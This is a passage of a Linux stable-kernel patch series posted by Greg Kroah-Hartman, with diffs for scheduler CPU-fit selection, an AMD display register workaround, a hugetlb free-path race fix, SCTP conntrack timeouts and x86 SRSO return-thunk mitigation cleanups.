@@ -7236,6 +7262,9 @@ static int find_energy_efficient_cpu(strunsigned long p_util_max =uclamp_is_used () ?uclamp_eff_value (p,UCLAMP_MAX ) :1024 ;struct root_domain *rd =this_rq ()->rd;int cpu, best_energy_cpu, target =-1 ; +int prev_fits =-1 , best_fits =-1 ; +unsigned long best_thermal_cap =0 ; +unsigned long prev_thermal_cap =0 ;struct sched_domain *sd;struct perf_domain *pd;struct energy_env eenv;
@@ -7271,6 +7300,7 @@ static int find_energy_efficient_cpu(strunsigned long prev_spare_cap =0 ;int max_spare_cap_cpu =-1 ;unsigned long base_energy; +int fits, max_fits =-1 ;cpumask_and (cpus,perf_domain_span (pd), cpu_online_mask);
@@ -7320,7 +7350,9 @@ static int find_energy_efficient_cpu(str util_min =max (rq_util_min, p_util_min); util_max =max (rq_util_max, p_util_max); } -if (!util_fits_cpu (util, util_min, util_max, cpu)) + + fits =util_fits_cpu (util, util_min, util_max, cpu); +if (!fits)continue ;lsub_positive (&cpu_cap, util);
@@ -7328,7 +7360,9 @@ static int find_energy_efficient_cpu(strif (cpu == prev_cpu) {/* Always use prev_cpu as a candidate. */ prev_spare_cap = cpu_cap; - }else if (cpu_cap > max_spare_cap) { + prev_fits = fits; + }else if ((fits > max_fits) || + ((fits == max_fits) && (cpu_cap > max_spare_cap))) {/* * Find the CPU with the maximum spare capacity * among the remaining CPUs in the performance
@@ -7336,6 +7370,7 @@ static int find_energy_efficient_cpu(str*/ max_spare_cap = cpu_cap; max_spare_cap_cpu = cpu; + max_fits = fits; } }
@@ -7354,26 +7389,50 @@ static int find_energy_efficient_cpu(strif (prev_delta < base_energy) goto unlock; prev_delta -= base_energy; + prev_thermal_cap = cpu_thermal_cap; best_delta =min (best_delta, prev_delta); }/* Evaluate the energy impact of using max_spare_cap_cpu. */ if (max_spare_cap_cpu >=0 && max_spare_cap > prev_spare_cap) { +/* Current best energy cpu fits better */ +if (max_fits < best_fits) +continue ; + +/* +* Both don't fit performance hint (i.e. uclamp_min) +* but best energy cpu has better capacity. +*/ +if ((max_fits <0 ) && + (cpu_thermal_cap <= best_thermal_cap)) +continue ; + cur_delta =compute_energy (&eenv, pd, cpus, p, max_spare_cap_cpu);/* CPU utilization has changed */ if (cur_delta < base_energy) goto unlock; cur_delta -= base_energy; -if (cur_delta < best_delta) { - best_delta = cur_delta; - best_energy_cpu = max_spare_cap_cpu; - } + +/* +* Both fit for the task but best energy cpu has lower +* energy impact. +*/ +if ((max_fits >0 ) && (best_fits >0 ) && + (cur_delta >= best_delta)) +continue ; + + best_delta = cur_delta; + best_energy_cpu = max_spare_cap_cpu; + best_fits = max_fits; + best_thermal_cap = cpu_thermal_cap; } }rcu_read_unlock (); -if (best_delta < prev_delta) +if ((best_fits > prev_fits) || + ((best_fits >0 ) && (best_delta < prev_delta)) || + ((best_fits <0 ) && (best_thermal_cap > prev_thermal_cap))) target = best_energy_cpu;return target;
@@ -10183,24 +10242,23 @@ static struct sched_group *find_busiest_*/ update_sd_lb_stats (env, &sds); -if (sched_energy_enabled ()) { -struct root_domain *rd = env->dst_rq->rd; - -if (rcu_dereference (rd->pd) && !READ_ONCE (rd->overutilized)) - goto out_balanced; - } - - local = &sds.local_stat; - busiest = &sds.busiest_stat; -/* There is no busy sibling group to pull tasks from */ if (!sds.busiest) goto out_balanced; + busiest = &sds.busiest_stat; +/* Misfit tasks should be dealt with regardless of the avg load */ if (busiest->group_type == group_misfit_task) goto force_balance; +if (sched_energy_enabled ()) { +struct root_domain *rd = env->dst_rq->rd; + +if (rcu_dereference (rd->pd) && !READ_ONCE (rd->overutilized)) + goto out_balanced; + } +/* ASYM feature bypasses nice load balance check */ if (busiest->group_type == group_asym_packing) goto force_balance;
@@ -10213,6 +10271,7 @@ static struct sched_group *find_busiest_if (busiest->group_type == group_imbalanced) goto force_balance; + local = &sds.local_stat;/* * If the local group is busier than the selected busiest group * don't try and pull any tasks.
Greg Kroah-Hartman
maintainerPATCH 169/194 sched/fair: Remove capacity inversion detection
In reply to Greg Kroah-HartmanFrom: Vincent Guittot <[email protected]>
commit a2e90611b9f425adbbfcdaa5b5e49958ddf6f61b upstream.
Remove the capacity inversion detection which is now handled by util_fits_cpu() returning -1 when we need to continue to look for a potential CPU with better performance.
This ends up almost reverting patches below except for some comments:
commit da07d2f9c153 ("sched/fair: Fixes for capacity inversion detection") commit aa69c36f31aa ("sched/fair: Consider capacity inversion in util_fits_cpu()") commit 44c7b80bffc3 ("sched/fair: Detect capacity inversion")
--- kernel/sched/fair.c | 84 +++------------------------------------------------ kernel/sched/sched.h | 19 ----------- 2 files changed, 5 insertions(+), 98 deletions(-)
kernel/sched/fair.c +5 -79
@@ -4464,17 +4464,9 @@ static inline int util_fits_cpu(unsigned* * For uclamp_max, we can tolerate a drop in performance level as the * goal is to cap the task. So it's okay if it's getting less. -* -* In case of capacity inversion we should honour the inverted capacity -* for both uclamp_min and uclamp_max all the time. */ - capacity_orig =cpu_in_capacity_inversion (cpu); -if (capacity_orig) { - capacity_orig_thermal = capacity_orig; - }else { - capacity_orig =capacity_orig_of (cpu); - capacity_orig_thermal = capacity_orig -arch_scale_thermal_pressure (cpu); - } + capacity_orig =capacity_orig_of (cpu); + capacity_orig_thermal = capacity_orig -arch_scale_thermal_pressure (cpu);/* * We want to force a task to fit a cpu as implied by uclamp_max.
@@ -8929,82 +8921,16 @@ static unsigned long scale_rt_capacity(istatic void update_cpu_capacity (struct sched_domain *sd,int cpu) { -unsigned long capacity_orig =arch_scale_cpu_capacity (cpu);unsigned long capacity =scale_rt_capacity (cpu);struct sched_group *sdg = sd->groups; -struct rq *rq =cpu_rq (cpu); - rq->cpu_capacity_orig = capacity_orig; +cpu_rq (cpu)->cpu_capacity_orig =arch_scale_cpu_capacity (cpu);if (!capacity) capacity =1 ; - rq->cpu_capacity = capacity; - -/* -* Detect if the performance domain is in capacity inversion state. -* -* Capacity inversion happens when another perf domain with equal or -* lower capacity_orig_of() ends up having higher capacity than this -* domain after subtracting thermal pressure. -* -* We only take into account thermal pressure in this detection as it's -* the only metric that actually results in *real* reduction of -* capacity due to performance points (OPPs) being dropped/become -* unreachable due to thermal throttling. -* -* We assume: -* * That all cpus in a perf domain have the same capacity_orig -* (same uArch). -* * Thermal pressure will impact all cpus in this perf domain -* equally. -*/ -if (sched_energy_enabled ()) { -unsigned long inv_cap = capacity_orig -thermal_load_avg (rq); -struct perf_domain *pd; - -rcu_read_lock (); - - pd =rcu_dereference (rq->rd->pd); - rq->cpu_capacity_inverted =0 ; - -for (; pd; pd = pd->next) { -struct cpumask *pd_span =perf_domain_span (pd); -unsigned long pd_cap_orig, pd_cap; - -/* We can't be inverted against our own pd */ -if (cpumask_test_cpu (cpu_of (rq), pd_span)) -continue ; - - cpu =cpumask_any (pd_span); - pd_cap_orig =arch_scale_cpu_capacity (cpu); - -if (capacity_orig < pd_cap_orig) -continue ; - -/* -* handle the case of multiple perf domains have the -* same capacity_orig but one of them is under higher -* thermal pressure. We record it as capacity -* inversion. -*/ -if (capacity_orig == pd_cap_orig) { - pd_cap = pd_cap_orig -thermal_load_avg (cpu_rq (cpu)); - -if (pd_cap > inv_cap) { - rq->cpu_capacity_inverted = inv_cap; -break ; - } - }else if (pd_cap_orig > inv_cap) { - rq->cpu_capacity_inverted = inv_cap; -break ; - } - } - -rcu_read_unlock (); - } - -trace_sched_cpu_capacity_tp (rq); +cpu_rq (cpu)->cpu_capacity = capacity; +trace_sched_cpu_capacity_tp (cpu_rq (cpu)); sdg->sgc->capacity = capacity; sdg->sgc->min_capacity = capacity;
kernel/sched/sched.h +0 -19
@@ -1041,7 +1041,6 @@ struct rq {unsigned long cpu_capacity;unsigned long cpu_capacity_orig; -unsigned long cpu_capacity_inverted;struct balance_callback *balance_callback;
@@ -2879,24 +2878,6 @@ static inline unsigned long capacity_orireturn cpu_rq (cpu)->cpu_capacity_orig; } -/* -* Returns inverted capacity if the CPU is in capacity inversion state. -* 0 otherwise. -* -* Capacity inversion detection only considers thermal impact where actual -* performance points (OPPs) gets dropped. -* -* Capacity inversion state happens when another performance domain that has -* equal or lower capacity_orig_of() becomes effectively larger than the perf -* domain this CPU belongs to due to thermal pressure throttling it hard. -* -* See comment in update_cpu_capacity(). -*/ -static inline unsigned long cpu_in_capacity_inversion (int cpu) -{ -return cpu_rq (cpu)->cpu_capacity_inverted; -} -/** * enum cpu_util_type - CPU utilization type * @FREQUENCY_UTIL: Utilization used to select frequency
Greg Kroah-Hartman
maintainerPATCH 170/194 drm/amd/display: Implement workaround for writing to OTG_PIXEL_RATE_DIV register
In reply to Greg Kroah-HartmanFrom: Saaem Rizvi <[email protected]>
commit 74fa4c81aadf418341f0d073c864ea7dca730a2e upstream.
[Why and How]
Current implementation requires FPGA builds to take a different code path from DCN32 to write to OTG_PIXEL_RATE_DIV. Now that we have a workaround to write to OTG_PIXEL_RATE_DIV register without blanking display on hotplug on DCN32, we can allow the code paths for FPGA to be exactly the same allowing for more consistent testing.
--- drivers/gpu/drm/amd/display/dc/dcn20/dcn20_dccg.h | 3 +- drivers/gpu/drm/amd/display/dc/dcn32/dcn32_dccg.c | 22 ++++++++++++++++++ drivers/gpu/drm/amd/display/dc/dcn32/dcn32_dccg.h | 3 +- drivers/gpu/drm/amd/display/dc/dcn32/dcn32_hwseq.c | 2 - drivers/gpu/drm/amd/display/dc/dcn32/dcn32_resource.h | 3 +- 5 files changed, 29 insertions(+), 4 deletions(-)
drivers/gpu/drm/amd/display/dc/dcn20/dcn20_dccg.h +2 -1
@@ -230,7 +230,8 @@type DTBCLK_P2_SRC_SEL ;\type DTBCLK_P2_EN ;\type DTBCLK_P3_SRC_SEL ;\ -type DTBCLK_P3_EN ; +type DTBCLK_P3_EN ;\ +type DENTIST_DISPCLK_CHG_DONE ;struct dccg_shift {DCCG_REG_FIELD_LIST (uint8_t )
drivers/gpu/drm/amd/display/dc/dcn32/dcn32_dccg.c +22 -0
@@ -42,6 +42,20 @@#define DC_LOGGER \ dccg->ctx->logger +/* This function is a workaround for writing to OTG_PIXEL_RATE_DIV +* without the probability of causing a DIG FIFO error. +*/ +static void dccg32_wait_for_dentist_change_done ( +struct dccg *dccg) +{ +struct dcn_dccg *dccg_dcn =TO_DCN_DCCG (dccg); + +uint32_t dentist_dispclk_value =REG_READ (DENTIST_DISPCLK_CNTL ); + +REG_WRITE (DENTIST_DISPCLK_CNTL , dentist_dispclk_value); +REG_WAIT (DENTIST_DISPCLK_CNTL ,DENTIST_DISPCLK_CHG_DONE ,1 ,50 ,2000 ); +} + static void dccg32_get_pixel_rate_div( struct dccg *dccg, uint32_t otg_inst,
@@ -110,21 +124,29 @@ static void dccg32_set_pixel_rate_div(REG_UPDATE_2 (OTG_PIXEL_RATE_DIV ,OTG0_PIXEL_RATE_DIVK1 , k1,OTG0_PIXEL_RATE_DIVK2 , k2); + +dccg32_wait_for_dentist_change_done (dccg);break ;case 1 :REG_UPDATE_2 (OTG_PIXEL_RATE_DIV ,OTG1_PIXEL_RATE_DIVK1 , k1,OTG1_PIXEL_RATE_DIVK2 , k2); + +dccg32_wait_for_dentist_change_done (dccg);break ;case 2 :REG_UPDATE_2 (OTG_PIXEL_RATE_DIV ,OTG2_PIXEL_RATE_DIVK1 , k1,OTG2_PIXEL_RATE_DIVK2 , k2); + +dccg32_wait_for_dentist_change_done (dccg);break ;case 3 :REG_UPDATE_2 (OTG_PIXEL_RATE_DIV ,OTG3_PIXEL_RATE_DIVK1 , k1,OTG3_PIXEL_RATE_DIVK2 , k2); + +dccg32_wait_for_dentist_change_done (dccg);break ;default :BREAK_TO_DEBUGGER ();
drivers/gpu/drm/amd/display/dc/dcn32/dcn32_dccg.h +2 -1
@@ -147,7 +147,8 @@DCCG_SF (DTBCLK_P_CNTL ,DTBCLK_P3_SRC_SEL , mask_sh),\DCCG_SF (DTBCLK_P_CNTL ,DTBCLK_P3_EN , mask_sh),\DCCG_SF (DCCG_AUDIO_DTO_SOURCE ,DCCG_AUDIO_DTO_SEL , mask_sh),\ - DCCG_SF(DCCG_AUDIO_DTO_SOURCE, DCCG_AUDIO_DTO0_SOURCE_SEL, mask_sh) +DCCG_SF (DCCG_AUDIO_DTO_SOURCE ,DCCG_AUDIO_DTO0_SOURCE_SEL , mask_sh),\ + DCCG_SF(DENTIST_DISPCLK_CNTL, DENTIST_DISPCLK_CHG_DONE, mask_sh) struct dccg *dccg32_create(
drivers/gpu/drm/amd/display/dc/dcn32/dcn32_hwseq.c +1 -1
@@ -1177,7 +1177,7 @@ unsigned int dcn32_calculate_dccg_k1_k2_ *k2_div =PIXEL_RATE_DIV_BY_2 ; else *k2_div =PIXEL_RATE_DIV_BY_4 ; - }else if (dc_is_dp_signal (stream->signal)) { + }else if (dc_is_dp_signal (stream->signal) ||dc_is_virtual_signal (stream->signal)) {if (two_pix_per_container) { *k1_div =PIXEL_RATE_DIV_BY_1 ; *k2_div =PIXEL_RATE_DIV_BY_2 ;
drivers/gpu/drm/amd/display/dc/dcn32/dcn32_resource.h +2 -1
@@ -1272,7 +1272,8 @@ unsigned int dcn32_calc_num_avail_chans_DCCG_SRII (PHASE ,DTBCLK_DTO ,0 ),DCCG_SRII (PHASE ,DTBCLK_DTO ,1 ), \DCCG_SRII (PHASE ,DTBCLK_DTO ,2 ),DCCG_SRII (PHASE ,DTBCLK_DTO ,3 ), \SR (DCCG_AUDIO_DTBCLK_DTO_MODULO ),SR (DCCG_AUDIO_DTBCLK_DTO_PHASE ), \ -SR (OTG_PIXEL_RATE_DIV ),SR (DTBCLK_P_CNTL ),SR (DCCG_AUDIO_DTO_SOURCE ) \ +SR (OTG_PIXEL_RATE_DIV ),SR (DTBCLK_P_CNTL ), \ +SR (DCCG_AUDIO_DTO_SOURCE ),SR (DENTIST_DISPCLK_CNTL ) \ )/* VMID */
Greg Kroah-Hartman
maintainerPATCH 171/194 hugetlb: do not clear hugetlb dtor until allocating vmemmap
In reply to Greg Kroah-HartmanFrom: Mike Kravetz <[email protected]>
commit 32c877191e022b55fe3a374f3d7e9fb5741c514d upstream.
Patch series "Fix hugetlb free path race with memory errors".
In the discussion of Jiaqi Yan's series "Improve hugetlbfs read on HWPOISON hugepages" the race window was discovered.
https://lore.kernel.org/linux-mm/20230616233447.GB7371@monkey/
Freeing a hugetlb page back to low level memory allocators is performed in two steps.
1) Under hugetlb lock, remove page from hugetlb lists and clear destructor
2) Outside lock, allocate vmemmap if necessary and call low level free Between these two steps, the hugetlb page will appear as a normal compound page. However, vmemmap for tail pages could be missing. If a memory error occurs at this time, we could try to update page flags non-existant page structs.
A much more detailed description is in the first patch.
The first patch addresses the race window. However, it adds a hugetlb_lock lock/unlock cycle to every vmemmap optimized hugetlb page free operation. This could lead to slowdowns if one is freeing a large number of hugetlb pages.
The second path optimizes the update_and_free_pages_bulk routine to only take the lock once in bulk operations.
The second patch is technically not a bug fix, but includes a Fixes tag and Cc stable to avoid a performance regression. It can be combined with the first, but was done separately make reviewing easier.
This patch (of 2):
Freeing a hugetlb page and releasing base pages back to the underlying allocator such as buddy or cma is performed in two steps:
- remove_hugetlb_folio() is called to remove the folio from hugetlb lists, get a ref on the page and remove hugetlb destructor. This all must be done under the hugetlb lock. After this call, the page can be treated as a normal compound page or a collection of base size pages.
- update_and_free_hugetlb_folio() is called to allocate vmemmap if needed and the free routine of the underlying allocator is called on the resulting page. We can not hold the hugetlb lock here.
One issue with this scheme is that a memory error could occur between these two steps. In this case, the memory error handling code treats the old hugetlb page as a normal compound page or collection of base pages. It will then try to SetPageHWPoison(page) on the page with an error. If the page with error is a tail page without vmemmap, a write error will occur when trying to set the flag.
Address this issue by modifying remove_hugetlb_folio() and update_and_free_hugetlb_folio() such that the hugetlb destructor is not cleared until after allocating vmemmap. Since clearing the destructor requires holding the hugetlb lock, the clearing is done in remove_hugetlb_folio() if the vmemmap is present. This saves a lock/unlock cycle. Otherwise, destructor is cleared in update_and_free_hugetlb_folio() after allocating vmemmap.
Note that this will leave hugetlb pages in a state where they are marked free (by hugetlb specific page flag) and have a ref count. This is not a normal state. The only code that would notice is the memory error code, and it is set up to retry in such a case.
A subsequent patch will create a routine to do bulk processing of vmemmap allocation. This will eliminate a lock/unlock cycle for each hugetlb page in the case where we are freeing a large number of pages.
--- mm/hugetlb.c | 75 ++++++++++++++++++++++++++++++++++++++++------------------- 1 file changed, 51 insertions(+), 24 deletions(-)
mm/hugetlb.c +51 -24
@@ -1581,9 +1581,37 @@ static inline void destroy_compound_giga unsigned int order) { }#endif +static inline void __clear_hugetlb_destructor (struct hstate *h, +struct page *page) +{ +lockdep_assert_held (&hugetlb_lock); + +/* +* Very subtle +* +* For non-gigantic pages set the destructor to the normal compound +* page dtor. This is needed in case someone takes an additional +* temporary ref to the page, and freeing is delayed until they drop +* their reference. +* +* For gigantic pages set the destructor to the null dtor. This +* destructor will never be called. Before freeing the gigantic +* page destroy_compound_gigantic_folio will turn the folio into a +* simple group of pages. After this the destructor does not +* apply. +* +*/ +if (hstate_is_gigantic (h)) +set_compound_page_dtor (page,NULL_COMPOUND_DTOR ); +else +set_compound_page_dtor (page,COMPOUND_PAGE_DTOR ); +} +/* -* Remove hugetlb page from lists, and update dtor so that page appears -* as just a compound page. +* Remove hugetlb page from lists. +* If vmemmap exists for the page, update dtor so that the page appears +* as just a compound page. Otherwise, wait until after allocating vmemmap +* to update dtor. * * A reference is held on the page, except in the case of demote. *
@@ -1614,31 +1642,19 @@ static void __remove_hugetlb_page(struct }/* -* Very subtle -* -* For non-gigantic pages set the destructor to the normal compound -* page dtor. This is needed in case someone takes an additional -* temporary ref to the page, and freeing is delayed until they drop -* their reference. -* -* For gigantic pages set the destructor to the null dtor. This -* destructor will never be called. Before freeing the gigantic -* page destroy_compound_gigantic_page will turn the compound page -* into a simple group of pages. After this the destructor does not -* apply. -* -* This handles the case where more than one ref is held when and -* after update_and_free_page is called. -* -* In the case of demote we do not ref count the page as it will soon -* be turned into a page of smaller size. +* We can only clear the hugetlb destructor after allocating vmemmap +* pages. Otherwise, someone (memory error handling) may try to write +* to tail struct pages. +*/ +if (!HPageVmemmapOptimized (page)) +__clear_hugetlb_destructor (h, page); + +/* +* In the case of demote we do not ref count the page as it will soon +* be turned into a page of smaller size. */ if (!demote)set_page_refcounted (page); -if (hstate_is_gigantic (h)) -set_compound_page_dtor (page,NULL_COMPOUND_DTOR ); -else -set_compound_page_dtor (page,COMPOUND_PAGE_DTOR ); h->nr_huge_pages--; h->nr_huge_pages_node[nid]--;
@@ -1706,6 +1722,7 @@ static void __update_and_free_page(struc {int i;struct page *subpage; +bool clear_dtor =HPageVmemmapOptimized (page);if (hstate_is_gigantic (h) && !gigantic_page_runtime_supported ())return ;
@@ -1736,6 +1753,16 @@ static void __update_and_free_page(strucif (unlikely (PageHWPoison (page)))hugetlb_clear_page_hwpoison (page); +/* +* If vmemmap pages were allocated above, then we need to clear the +* hugetlb destructor under the hugetlb lock. +*/ +if (clear_dtor) { +spin_lock_irq (&hugetlb_lock); +__clear_hugetlb_destructor (h, page); +spin_unlock_irq (&hugetlb_lock); + } +for (i =0 ; i <pages_per_huge_page (h); i++) { subpage =nth_page (page, i); subpage->flags &= ~(1 << PG_locked | 1 << PG_error |
Greg Kroah-Hartman
maintainerPATCH 172/194 netfilter: set default timeout to 3 secs for sctp shutdown send and recv state
In reply to Greg Kroah-HartmanFrom: Xin Long <[email protected]>
commit 9bfab6d23a2865966a4f89a96536fbf23f83bc8c upstream.
In SCTP protocol, it is using the same timer (T2 timer) for SHUTDOWN and SHUTDOWN_ACK retransmission. However in sctp conntrack the default timeout value for SCTP_CONNTRACK_SHUTDOWN_ACK_SENT state is 3 secs while it's 300 msecs for SCTP_CONNTRACK_SHUTDOWN_SEND/RECV state.
As Paolo Valerio noticed, this might cause unwanted expiration of the ct entry. In my test, with 1s tc netem delay set on the NAT path, after the SHUTDOWN is sent, the sctp ct entry enters SCTP_CONNTRACK_SHUTDOWN_SEND state. However, due to 300ms (too short) delay, when the SHUTDOWN_ACK is sent back from the peer, the sctp ct entry has expired and been deleted, and then the SHUTDOWN_ACK has to be dropped.
Also, it is confusing these two sysctl options always show 0 due to all timeout values using sec as unit:
net.netfilter.nf_conntrack_sctp_timeout_shutdown_recd = 0 net.netfilter.nf_conntrack_sctp_timeout_shutdown_sent = 0
This patch fixes it by also using 3 secs for sctp shutdown send and recv state in sctp conntrack, which is also RTO.initial value in SCTP protocol.
Note that the very short time value for SCTP_CONNTRACK_SHUTDOWN_SEND/RECV was probably used for a rare scenario where SHUTDOWN is sent on 1st path but SHUTDOWN_ACK is replied on 2nd path, then a new connection started immediately on 1st path. So this patch also moves from SHUTDOWN_SEND/RECV to CLOSE when receiving INIT in the ORIGINAL direction.
--- net/netfilter/nf_conntrack_proto_sctp.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-)
net/netfilter/nf_conntrack_proto_sctp.c +3 -3
@@ -49,8 +49,8 @@ static const unsigned int sctp_timeouts[ [SCTP_CONNTRACK_COOKIE_WAIT] = 3 SECS, [SCTP_CONNTRACK_COOKIE_ECHOED] = 3 SECS, [SCTP_CONNTRACK_ESTABLISHED] = 210 SECS, - [SCTP_CONNTRACK_SHUTDOWN_SENT] = 300 SECS / 1000, - [SCTP_CONNTRACK_SHUTDOWN_RECD] = 300 SECS / 1000, + [SCTP_CONNTRACK_SHUTDOWN_SENT] = 3 SECS, + [SCTP_CONNTRACK_SHUTDOWN_RECD] = 3 SECS, [SCTP_CONNTRACK_SHUTDOWN_ACK_SENT] = 3 SECS, [SCTP_CONNTRACK_HEARTBEAT_SENT] = 30 SECS, };
@@ -105,7 +105,7 @@ static const u8 sctp_conntracks[2][11][S {/* ORIGINAL */ /* sNO, sCL, sCW, sCE, sES, sSS, sSR, sSA, sHS */ -/* init */ {sCL, sCL, sCW, sCE, sES, sSS, sSR, sSA, sCW}, +/* init */ {sCL, sCL, sCW, sCE, sES, sCL, sCL, sSA, sCW}, /* init_ack */ {sCL, sCL, sCW, sCE, sES, sSS, sSR, sSA, sCL}, /* abort */ {sCL, sCL, sCL, sCL, sCL, sCL, sCL, sCL, sCL}, /* shutdown */ {sCL, sCL, sCW, sCE, sSS, sSS, sSR, sSA, sCL},
Greg Kroah-Hartman
maintainerPATCH 173/194 x86/cpu: Fix __x86_return_thunk symbol type
In reply to Greg Kroah-HartmanFrom: Peter Zijlstra <[email protected]>
commit 77f67119004296a9b2503b377d610e08b08afc2a upstream.
Commit
fb3bd914b3ec ("x86/srso: Add a Speculative RAS Overflow mitigation")
reimplemented __x86_return_thunk with a mix of SYM_FUNC_START and SYM_CODE_END, this is not a sane combination.
Since nothing should ever actually 'CALL' this, make it consistently CODE.
--- arch/x86/lib/retpoline.S | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-)
arch/x86/lib/retpoline.S +3 -1
@@ -207,7 +207,9 @@ SYM_CODE_END(srso_safe_ret) SYM_FUNC_END(srso_untrain_ret) __EXPORT_THUNK(srso_untrain_ret) -SYM_FUNC_START(__x86_return_thunk) +SYM_CODE_START(__x86_return_thunk) + UNWIND_HINT_FUNC + ANNOTATE_NOENDBR ALTERNATIVE_2 "jmp __ret", "call srso_safe_ret", X86_FEATURE_SRSO, \ "call srso_safe_ret_alias", X86_FEATURE_SRSO_ALIAS int3
Greg Kroah-Hartman
maintainerPATCH 174/194 x86/cpu: Fix up srso_safe_ret() and __x86_return_thunk()
In reply to Greg Kroah-HartmanFrom: Peter Zijlstra <[email protected]>
commit af023ef335f13c8b579298fc432daeef609a9e60 upstream.
vmlinux.o: warning: objtool: srso_untrain_ret() falls through to next function __x86_return_skl() vmlinux.o: warning: objtool: __x86_return_thunk() falls through to next function __x86_return_skl()
This is because these functions (can) end with CALL, which objtool does not consider a terminating instruction. Therefore, replace the INT3 instruction (which is a non-fatal trap) with UD2 (which is a fatal-trap).
This indicates execution will not continue past this point.
--- arch/x86/lib/retpoline.S | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-)
arch/x86/lib/retpoline.S +2 -2
@@ -202,7 +202,7 @@ SYM_INNER_LABEL(srso_safe_ret, SYM_L_GLO int3 lfence call srso_safe_ret - int3 + ud2 SYM_CODE_END(srso_safe_ret) SYM_FUNC_END(srso_untrain_ret) __EXPORT_THUNK(srso_untrain_ret)
@@ -212,7 +212,7 @@ SYM_CODE_START(__x86_return_thunk) ANNOTATE_NOENDBR ALTERNATIVE_2 "jmp __ret", "call srso_safe_ret", X86_FEATURE_SRSO, \ "call srso_safe_ret_alias", X86_FEATURE_SRSO_ALIAS - int3 + ud2 SYM_CODE_END(__x86_return_thunk) EXPORT_SYMBOL(__x86_return_thunk)
Greg Kroah-Hartman
maintainerPATCH 175/194 x86/alternative: Make custom return thunk unconditional
In reply to Greg Kroah-HartmanFrom: Peter Zijlstra <[email protected]>
commit 095b8303f3835c68ac4a8b6d754ca1c3b6230711 upstream.
There is infrastructure to rewrite return thunks to point to any random thunk one desires, unwrap that from CALL_THUNKS, which up to now was the sole user of that.
[ bp: Make the thunks visible on 32-bit and add ifdeffery for the
32-bit builds. ]
--- arch/x86/include/asm/nospec-branch.h | 5 +++++ arch/x86/kernel/cpu/bugs.c | 2 ++ 2 files changed, 7 insertions(+)
arch/x86/include/asm/nospec-branch.h +5 -0
@@ -210,7 +210,12 @@typedef u8 retpoline_thunk_t [RETPOLINE_THUNK_SIZE ];extern retpoline_thunk_t __x86_indirect_thunk_array[]; +#ifdef CONFIG_RETHUNK extern void __x86_return_thunk (void ); +#else +static inline void __x86_return_thunk (void ) {} +#endif +extern void zen_untrain_ret (void );extern void srso_untrain_ret (void );extern void srso_untrain_ret_alias (void );
arch/x86/kernel/cpu/bugs.c +2 -0
@@ -62,6 +62,8 @@ EXPORT_SYMBOL_GPL(x86_pred_cmd);static DEFINE_MUTEX (spec_ctrl_mutex); +void (*x86_return_thunk)(void )__ro_after_init = &__x86_return_thunk; +/* Update SPEC_CTRL MSR and its cached copy unconditionally */ static void update_spec_ctrl (u64 val) {
Greg Kroah-Hartman
maintainerPATCH 176/194 x86/cpu: Clean up SRSO return thunk mess
In reply to Greg Kroah-HartmanFrom: Peter Zijlstra <[email protected]>
commit d43490d0ab824023e11d0b57d0aeec17a6e0ca13 upstream.
Use the existing configurable return thunk. There is absolute no justification for having created this __x86_return_thunk alternative.
To clarify, the whole thing looks like:
Zen3/4 does:
srso_alias_untrain_ret:
nop2
lfence
jmp srso_alias_return_thunk
int3
srso_alias_safe_ret: // aliasses srso_alias_untrain_ret just so
add $8, %rsp ret int3
srso_alias_return_thunk:
call srso_alias_safe_ret ud2
While Zen1/2 does:
srso_untrain_ret:
movabs $foo, %rax
lfence
call srso_safe_ret (jmp srso_return_thunk ?)
int3
srso_safe_ret: // embedded in movabs instruction
add $8,%rsp
ret
int3 srso_return_thunk:
call srso_safe_ret ud2
While retbleed does:
zen_untrain_ret:
test $0xcc, %bl
lfence
jmp zen_return_thunk
int3 zen_return_thunk: // embedded in the test instruction
ret
int3
Where Zen1/2 flush the BTB entry using the instruction decoder trick (test,movabs) Zen3/4 use BTB aliasing. SRSO adds a return sequence (srso_safe_ret()) which forces the function return instruction to speculate into a trap (UD2). This RET will then mispredict and execution will continue at the return site read from the top of the stack.
Pick one of three options at boot (evey function can only ever return once).
[ bp: Fixup commit message uarch details and add them in a comment in
the code too. Add a comment about the srso_select_mitigation() dependency on retbleed_select_mitigation(). Add moar ifdeffery for 32-bit builds. Add a dummy srso_untrain_ret_alias() definition for 32-bit alternatives needing the symbol. ]
--- arch/x86/include/asm/nospec-branch.h | 5 +++ arch/x86/kernel/cpu/bugs.c | 17 ++++++++-- arch/x86/kernel/vmlinux.lds.S | 4 +- arch/x86/lib/retpoline.S | 58 +++++++++++++++++++++++++---------- tools/objtool/arch/x86/decode.c | 2 - 5 files changed, 64 insertions(+), 22 deletions(-)
arch/x86/include/asm/nospec-branch.h +5 -0
@@ -216,9 +216,14 @@ extern void __x86_return_thunk(void);static inline void __x86_return_thunk (void ) {}#endif +extern void zen_return_thunk (void ); +extern void srso_return_thunk (void ); +extern void srso_alias_return_thunk (void ); +extern void zen_untrain_ret (void );extern void srso_untrain_ret (void );extern void srso_untrain_ret_alias (void ); +extern void entry_ibpb (void );#ifdef CONFIG_RETPOLINE
arch/x86/kernel/cpu/bugs.c +14 -3
@@ -166,8 +166,13 @@ void __init cpu_select_mitigations(void)md_clear_select_mitigation ();srbds_select_mitigation ();l1d_flush_select_mitigation (); -gds_select_mitigation (); + +/* +* srso_select_mitigation() depends and must run after +* retbleed_select_mitigation(). +*/ srso_select_mitigation (); +gds_select_mitigation (); }/*
@@ -1015,6 +1020,9 @@ do_cmd_auto:setup_force_cpu_cap (X86_FEATURE_RETHUNK );setup_force_cpu_cap (X86_FEATURE_UNRET ); +if (IS_ENABLED (CONFIG_RETHUNK )) + x86_return_thunk = zen_return_thunk; +if (boot_cpu_data.x86_vendor !=X86_VENDOR_AMD && boot_cpu_data.x86_vendor !=X86_VENDOR_HYGON )pr_err (RETBLEED_UNTRAIN_MSG );
@@ -2422,10 +2430,13 @@ static void __init srso_select_mitigatio*/ setup_force_cpu_cap (X86_FEATURE_RETHUNK ); -if (boot_cpu_data.x86 ==0x19 ) +if (boot_cpu_data.x86 ==0x19 ) {setup_force_cpu_cap (X86_FEATURE_SRSO_ALIAS ); -else + x86_return_thunk = srso_alias_return_thunk; + }else {setup_force_cpu_cap (X86_FEATURE_SRSO ); + x86_return_thunk = srso_return_thunk; + } srso_mitigation =SRSO_MITIGATION_SAFE_RET ; }else {pr_err ("WARNING: kernel not compiled with CPU_SRSO.\n" );
arch/x86/kernel/vmlinux.lds.S +2 -2
